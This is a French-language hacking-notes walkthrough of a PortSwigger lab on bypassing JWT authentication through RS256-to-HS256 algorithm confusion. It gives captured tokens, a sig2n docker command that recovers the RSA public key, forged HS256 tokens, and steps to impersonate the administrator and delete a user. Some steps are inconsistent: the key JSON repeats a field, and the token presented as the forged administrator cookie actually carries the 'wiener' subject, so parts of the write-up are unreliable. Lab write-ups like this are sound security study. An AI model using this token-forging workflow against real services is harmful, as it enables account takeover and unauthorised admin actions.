> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md). # Contournement de l’authentification JWT via confusion d’algorithme sans clé publique exposée Notes sur le contournement de l’authentification JWT via confusion d’algorithme sans clé publique exposée pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite, un ### Contournement de l’authentification JWT via confusion d’algorithme sans clé exposée #### Contexte du laboratoire Nous utilisons **JWT** pour gérer la session. Les jetons sont normalement signés en **RSA (RS256)** avec une paire de clés robuste : * clé privée : signer le JWT * clé publique : vérifier le JWT La faiblesse vient d’une implémentation incorrecte : le serveur accepte un JWT déclaré en **HS256** et réutilise la **clé publique RSA** en tant que **secret HMAC**. **Objectif :** obtenir un JWT valide avec `sub=administrator`, accès `/admin`, puis supprimer **carlos**. #### Récupération de deux JWT RS256 Nous nous connectons avec `wiener:peter` et obtenons un premier JWT RS256 : **JETON 1** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA ``` Puis nous nous déconnectons et nous reconnectons pour obtenir un deuxième JWT RS256 (même `kid`, signature différente) : **JETON 2** ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA ``` ### Reconstruction d’une clé publique RSA valide avec `sig2n` Nous utilisons le `sig2n` (outil PortSwigger) dans Docker pour reconstruire une clé publique à partir de **JETON 1** et **JETON 2**: ```bash docker run --rm -it docker.io/portswigger/sig2n / 'TOKEN1' 'TOKEN2' ``` Avec nos deux jetons complets : {% code overflow="wrap" %} ```bash docker run --rm -it docker.io/portswigger/sig2n / 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA' ``` {% endcode %}
L’outil renvoie les valeurs de clé suivantes : * **Clé x509 encodée en Base64** (clé publique) * **JWT falsifié** (test JWT HS256) Dans notre cas, la clé x509 renvoyée est : {% code overflow="wrap" %} ```bash n trouvé avec le multiplicateur 1 : Clé x509 encodée en Base64: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== JWT falsifié : eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE Clé pkcs1 encodée en Base64: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K JWT falsifié : eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M ``` {% endcode %} #### Test : validation d’un JWT HS256 falsifié Nous testons le JWT HS256 fourni par `sig2n`: ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ``` Le serveur accepte
Ainsi, la clé publique reconstruite peut être utilisée comme secret HMAC. ```bash LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg== ``` #### Création d’une clé symétrique (oct) avec la clé publique Nous créons une clé symétrique **oct** dont la `valeur k est la clé publique encodée en Base64 :` "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58", ```json { "kty": "oct", "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" } ```
#### Forger le JWT administrateur Payload (on passe en `administrateur`) ```json { "iss": "portswigger", "exp": 1767554474, "sub": "administrator" } ``` En-tête (basculer en HS256 et conserver le `kid`) ```json { "kid": "658001cf-6704-456b-983e-7ab4373ff03b", "alg": "HS256" } ``` Nous allons ensuite signer ce JWT en **HS256** avec la clé symétrique créée (secret = clé publique).
#### Exploitation 1. Nous remplaçons le cookie JWT par notre jeton HS256 forgé. 2. Nous allons `/admin`. 3. Nous supprimons l’utilisateur **carlos**. ```bash eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE ```
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